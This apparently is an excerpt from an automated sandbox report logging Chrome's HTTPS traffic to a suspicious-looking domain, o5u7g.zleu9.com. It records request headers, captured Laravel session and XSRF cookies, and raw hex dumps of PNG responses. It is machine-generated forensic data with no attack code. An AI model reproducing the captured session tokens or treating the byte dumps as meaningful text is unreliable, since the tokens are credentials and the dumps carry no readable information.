2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 6e aa 76 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d b5 b8 0f Data Ascii: nvO0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 1d 7d 5e e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd 00 dc 0c Data Ascii: }^ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 70 60 74 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 53 af 47 Data Ascii: p`tI$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,SG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49796	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1108	OUT	GET /opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:12 UTC	644	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:12 GMT Content-Type: image/png Content-Length: 727 Connection: close Content-Disposition: inline; filename="opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KErwJBoju59iukhnAdphMDQW%2Fj6JhLpPN2u288WEa%2B4ew9NEsOdyQmsi%2FuEGj3orlVaHMFO4phqLD06Mary8%2BREINDpGeaabAYSho1CG%2FMr%2BW7qQSjMyBG0LTa9rZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906763383a8834-ATL
2024-04-23 19:54:12 UTC	725	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b 32 14 5c 00 a2 Data Ascii: PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk2\
2024-04-23 19:54:12 UTC	2	IN	Data Raw: 60 82 Data Ascii: `

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49797	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:10 UTC	1532	OUT	GET /oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:10 UTC	681	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:10 GMT Content-Type: image/png Content-Length: 29796 Connection: close Content-Disposition: inline; filename="oprLHzrLMng80jZ02qEKLjc5gebwyGRZI3hfJd0cfOTOSMcWKHstAxOa6DJMyy9rR893W0bISCPqBNcd237" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CchH%2BYo8TL9pFV04uEHVxt7N3ZMwCf%2F6eg%2FVoPDDHnlgeWSqEtD4QJZEzLGVZot36MUuII0OfRHdbP%2FZF7zD22uVj6pZldiatb%2FfQtTxoYnNjNHR9dveV3ZwhAAjpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 87906766ce28672f-ATL
2024-04-23 19:54:10 UTC	688	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 87 6f a5 4a c8 6b Data Ascii: PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RWoJk
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 b0 cb 38 7f 22 14 71 b1 fc 12 7c 76 0a 11 e2 af 5b 2f 00 f5 ea d5 43 f5 6a 55 59 5c a9 e5 39 d6 88 21 c0 10 60 08 f0 8f 00 1b 90 35 c4 74 c9 df 4b b9 c5 7f 2d a2 52 1a 34 68 88 05 0b e6 ab 85 69 f8 cd 5b 5c e7 4e 1d a9 9c 3c 79 2c 30 6a ca 6c 95 9f cb 47 bf 7a 89 db Data Ascii: >!C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih8"q\|v[/CjUY\9!`5tK-R4hi[\N<y,0jlGz
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf 1e 6a 63 c9 88 5e 14 a1 c1 8c d0 00 01 46 f4 1a 80 27 e2 a6 6a 0f aa 22 c6 24 47 d3 76 ec da c5 fd 36 7e 3c ad 43 72 bc ff b7 71 23 2f 18 7e 4c fa c4 05 b7 6b 87 e7 cf b3 4e f0 d2 ad ff 30 14 2f 51 4a 54 b0 bf 89 7e 85 5d 9b d6 e2 d5 cb e7 52 bb 7e 1a 30 00 43 06 0f Data Ascii: P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FWjc^F'j"$Gv6~<Crq#/~LkN0/QJT~]R~0C
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef d6 55 2d 8c f9 24 fa 62 79 f3 e2 44 8b 66 99 ac 0e da 7f 00 f7 3f c4 d3 cf 03 0a bb 60 65 dd 3a 72 75 e2 be 7e 85 ef 36 c9 e2 4a 52 c8 6c 7e 4d bd ba 99 e4 14 dd f0 9f f4 b3 21 e5 ca 62 84 77 05 9e 11 e6 4f 5c e8 cb 28 f4 3d 25 39 42 99 15 dd 23 c0 88 5e f7 98 8b ad Data Ascii: "e}&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jtU-$byDf?`e:ru~6JRl~M!bwO\(=%9B#^
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac Data Ascii: ~0(#Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 Data Ascii: UNV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e Data Ascii: V'$fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a Data Ascii: ~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 Data Ascii: 'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4
2024-04-23 19:54:10 UTC	1369	IN	Data Raw: e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 Data Ascii: [n${t{\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49798	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:10 UTC	1519	OUT	GET /uv6N4AFPttA1rsB4OrhISLW7u68mn9vUiv3nGs2KGxWywnndfrLnMDhNBKWNovufref260 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; 